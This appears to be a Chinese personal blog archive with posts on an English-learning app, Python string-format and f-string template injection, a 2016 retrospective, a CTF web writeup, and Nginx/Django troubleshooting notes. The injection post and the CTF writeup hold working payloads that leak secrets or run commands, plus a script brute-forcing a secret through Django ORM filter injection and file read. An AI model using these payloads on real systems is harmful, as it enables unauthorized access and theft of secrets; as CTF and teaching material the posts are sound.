virusdefender 发布的文章

英语流利说-懂你英语使用感受

一个偶然的机会接触到了英语流利说,很惊喜,可以通过自动化的语音识别来标注发音情况。

根据一些资料,英语流利说是使用了离线的神经网络语音识别,因为已知正确的文本和发音,只需要将用户的发音尽量和已知文本上对齐就好了,也就是GOP算法。

英语流利说课程分两大部分,一个是独立的小课程,比如"排名前十的旅行问题"、"不做学霸做面霸",每个课程分为几十个关卡,每个关卡讲一个小问题,大约10分钟之内就可以搞定一个。另一部分就是懂你英语了,也是本文重点说的。

开始购买了一个月的懂你英语,之后购买了半年。价格是单月购买99元,半年499元。因为是机器语音识别,感觉利润率还是挺高的。

在课程结束的时候,如果你的学习效率和平均得分达到90,总计学习时间达到90小时,是可以全额退还学费的。我一开始学习的时候,学习效率是60,目前已经达到了80多。平均得分倒一直是90多分左右,两个月内学习时间是57个小时。

IMG_1945.PNG

优点

  • 比免费的课程要质量高一些,更系统一些。
  • 有一个学习群,有班主任,每天提出一个话题来讨论,同时公布前一天大家的学习情况,有竞争的感觉。而且有时候会有活动,比如三个人连续三天都学习超过半小时,可以延长课程时间或者赠送付费课程等。
  • 卡片式任务,已经有不少app使用这种设计了,将一个整体划分为系统性的小任务,每天都会有清晰的目标。一个Level一般包括4个Unit,每个Unit包括4个卡片,每个卡片上有6个Lesson。包括Listening,Vocabulary,Dialogue,Reading,Matching, Grammar,Speaking,Dictation等类型。基本上一个Lesson认真的学习要花费一个小时左右的时间(部分练习性质的除外),包括逐句的录音和完成Lesson中的题目。

IMG_1180.PNG

  • 打卡,数据统计等对于安排学习和了解学习效果很有帮助。
  • 确实有"沉浸式的英语学习体验"
  • 难度控制的不错,我从Level 3开始学的,现在在准备Level 4的考试。通过考试才能进入下一个Level。总体来说,难度有所增加,但是变化很平缓。

要吐槽的也有一些

  • iOS app bug有点多,集中在各种奇怪的加载失败,进度不同步,切换动画卡死。拼写题在搜狗输入法下完全不能用,正确的填写也是提示错误,而且各种卡顿和输入法跳来跳去,使用原生输入法才可以。有些计时录音的句子,录出来的丢头丢尾。
  • 班主任之间差别也非常大,有的班主任感觉对我们特别好,每天在群里比较活跃,交流很多东西,有时候间隔几天没有学习也会主动的来找你问。而有的个班主任,每天就是简单的公布一下学习情况和讨论话题就基本结束了,也不是经常参与我们的讨论。
  • 班主任发的每日一句之类的并没有什么用处。
  • 对于Level 4,Speaking需要拿到至少三星,其他必须满分四星(得分率大于95%)才能参加考试。这个还是挺有难度的。虽然个别情况下也可以找班主任解锁参加考试,但是对于我来说,我真的不是特别追求每个Lesson都非常完美,否则花费的时间就太多了。
  • 金币兑换模块实在是太low了,帮助各种垃圾app做推广,还好不太显眼,一般不会点进去。看看人家扇贝商城,至少还是些有用的东西。https://shop108363553.taobao.com/

疑惑

  • 免费课程是照着句子读,然后显示纠正结果,但是懂你英语的理念是无文本,没有字幕的,虽然可以跟读和录音,读的好可以拿到一个金币,但是并看不到哪里读的不好。有些句子在后面跟读练习的时候可以看到文本,但是看不到的而且实在听不出来的就只能放弃。同时这里的拿到一个金币与后面练习中的录音拿到90+的门槛差别太大了。也直接影响了每个Lesson的得分。建议是句子跟读超过五遍就应该显示文本了。(目前4.4版本增加了单词功能,该问题略有改善)

  • 怎么去评价学习了懂你英语之后的效果?因为学习的时候,练习和口语水平测试都是课程中的句子,这样会不会让人的思维限制在了已有的课程上?

  • 流利说对于简单单词匹配的特别严格,比如anthe之类的,而对已长一些的单词,有时候读的有个别错误也没有发现。感觉是训练数据的问题,简单单词训练的比较多。比如下图。而且怀疑部分数字类型的数据标注的位置不太对,比如1%或者1960s这种,怎么读就是标红。

IMG_1178.PNG

收获

  • 英语水平肯定是有提高的,但是具体提高了多少,怎么去衡量,就是"疑惑"中的第二个问题
  • 认识了五个小伙伴,组成一个小群。从大学生到工作党到家庭主妇,共同的特点就是都学习非常努力,有的是工作压力,有的是为了给孩子树立榜样同时教孩子学习。群里每天至少学习打卡半小时,否则要发红包的。有时候也会聊学习经验,生活等等各种话题。
  • 购买了梦想板课程,虽然略贵,但是有收获就是值得的~

Python 模板字符串与模板注入

这几年比较火的一个漏洞就是jinjia2之类的模板引擎的注入,通过注入模板引擎的一些特定的指令格式,比如{{1+1}}而返回了2得知漏洞存在。实际类似的问题在Python原生字符串中就存在,尤其是Python 3.6新增f字符串后,虽然利用还不明确,但是应该引起注意。

最原始的%

userdata = {"user" : "jdoe", "password" : "secret" }
passwd  = raw_input("Password: ")

if passwd != userdata["password"]:
    print ("Password " + passwd + " is wrong for user %(user)s") % userdata

如果用户输入%(password)s那就可以获取用户的真实密码了。

format方法相关

https://docs.python.org/3/library/functions.html#format

除了上面的payload改写为print ("Password " + passwd + " is wrong for user {user}").format(**userdata)之外,还可以

>>> import os
>>> '{0.system}'.format(os)
'<built-in function system>'

会先把0替换为format中的参数,然后继续获取相关的属性。

但是貌似只能获取属性,不能执行方法?但是也可以获取一些敏感信息了。

例子: http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

CONFIG = {
    'SECRET_KEY': 'super secret key'
}

class Event(object):
    def __init__(self, id, level, message):
        self.id = id
        self.level = level
        self.message = message

def format_event(format_string, event):
    return format_string.format(event=event)

如果format_string{event.__init__.__globals__[CONFIG][SECRET_KEY]}就可以泄露敏感信息。

理论上,可以通过类的各种继承关系找到想要的信息,比如在Django中的思路为 https://xianzhi.aliyun.com/forum/read/615.html

Python 3.6中的f字符串

这个字符串非常厉害,和Javascript ES6中的模板字符串类似,有了获取当前context下变量的能力。

https://docs.python.org/3/reference/lexical_analysis.html#f-strings

>>> a = "Hello"
>>> b = f"{a} World"
>>> b
'Hello World'

而且不仅仅限制为属性了,代码可以执行了。

>>> import os
>>> f"{os.system('ls')}"
bin      etc      lib      media    proc     run      srv      tmp      var
dev      home     linuxrc  mnt      root     sbin     sys      usr
'0'

>>> f"{(lambda x: x - 10)(100)}"
'90'

但是貌似没有把一个普通字符串转换为f字符串的方法,也就是说用户很可能无法控制一个f字符串,可能无法利用,还需要继续查一下。

2017

2015年经历的太多,而又不想写出来。

2016年看似风平浪静,其实可能还有更大的考验在等着。

2016年“重大”事件记录

  • 6月份之前,借助之前的一个开源项目写了毕业论文,顺便当做说明书用。第一次用$\LaTeX$,一个让人又爱又恨的语言。当然答辩之类的都是小意思,水水就过了。
  • 毕业,离开青岛的日子,最怀念的还是青岛的环境和空气,还有大海。

psb (13).jpg

D71BFAC1CAF195E807612573F8B6E0CB.jpg

(刚毕业就两个结婚的了,2333,羡慕和祝福)

  • 考驾照,用时不到两个月,科目一是90多分,其他都是满分。
  • 正式入职长亭,一家年轻有活力的公司。作为公司最弱最水的程序员,要向各位师傅大佬们学习才行。
  • 去看了五月天音乐会,没错,就是上面的照片上最右边的家伙天天在宿舍用五月天的歌弹吉他,才让我喜欢上的。总结帖 https://virusdefender.net/index.php/archives/752/
  • 第一次合租,第一次去xx地方玩,第一次接触xx技术就略而不谈了

2017 展望

  • 计划拿出2W+的钱重点学习英语和撩妹技巧弹琴,除了写代码也得多接触一些其他行业的人和事情。
  • 学习数学和一切还不会的计算机知识(以后会有更详细的规划)
  • 培养更强的思维能力
  • 锻炼身体

夫夷以近,则游者众;险以远,则至者少。而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也。

Hello, 2017~

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

最近遇见的几个问题

某服务后端server时不时的connection refused

前面是Nginx,后面是uwsgi,日志中时不时出现下面的内容

[error] 54#54: *1644 connect() failed (111: Connection refused) while connecting to upstream, client: 172.18.0.5, server: _, request: "POST /log HTTP/1.1", upstream: "http://[::1]:10000/log", host: "mgt-api"

找了好久也没找到原因,比较确定的是不是后面的uwsgi挂掉了,之后tcpdump抓包,发现每次出现问题的都是一个IPV6的地址,结合上面的日志恍然大悟,原来是Nginx反向代理写的是localhost而不是127.0.0.1,而且在host文件中是

127.0.0.1   localhost
::1             localhost

gethostbyname在多个IP的情况下,返回结果是随机的,导致有时候被解析到了IPV6的地址上了。

Django在https下增强的CSRF防护

某Django系统在POST的时候一直提示CSRF验证失败,即使看到的CSRFToken是没问题的,后来打开DEBUG看到提示,原因摘抄Django源码。

if request.is_secure():
    # Suppose user visits http://example.com/
    # An active network attacker (man-in-the-middle, MITM) sends a
    # POST form that targets https://example.com/detonate-bomb/ and
    # submits it via JavaScript.
    #
    # The attacker will need to provide a CSRF cookie and token, but
    # that's no problem for a MITM and the session-independent
    # nonce we're using. So the MITM can circumvent the CSRF
    # protection. This is true for any HTTP connection, but anyone
    # using HTTPS expects better! For this reason, for
    # https://example.com/ we need additional protection that treats
    # http://example.com/ as completely untrusted. Under HTTPS,
    # Barth et al. found that the Referer header is missing for
    # same-domain requests in only about 0.2% of cases or less, so
    # we can use strict Referer checking.
    referer = force_text(
        request.META.get('HTTP_REFERER'),
        strings_only=True,
        errors='replace'
    )
    if referer is None:
        return self._reject(request, REASON_NO_REFERER)

    referer = urlparse(referer)

    # Make sure we have a valid URL for Referer.
    if '' in (referer.scheme, referer.netloc):
        return self._reject(request, REASON_MALFORMED_REFERER)

    # Ensure that our Referer is also secure.
    if referer.scheme != 'https':
        return self._reject(request, REASON_INSECURE_REFERER)

    # If there isn't a CSRF_COOKIE_DOMAIN, assume we need an exact
    # match on host:port. If not, obey the cookie rules.
    if settings.CSRF_COOKIE_DOMAIN is None:
        # request.get_host() includes the port.
        good_referer = request.get_host()
    else:
        good_referer = settings.CSRF_COOKIE_DOMAIN
        server_port = request.get_port()
        if server_port not in ('443', '80'):
            good_referer = '%s:%s' % (good_referer, server_port)

    # Here we generate a list of all acceptable HTTP referers,
    # including the current host since that has been validated
    # upstream.
    good_hosts = list(settings.CSRF_TRUSTED_ORIGINS)
    good_hosts.append(good_referer)

    if not any(is_same_domain(referer.netloc, host) for host in good_hosts):
        reason = REASON_BAD_REFERER % referer.geturl()
        return self._reject(request, reason)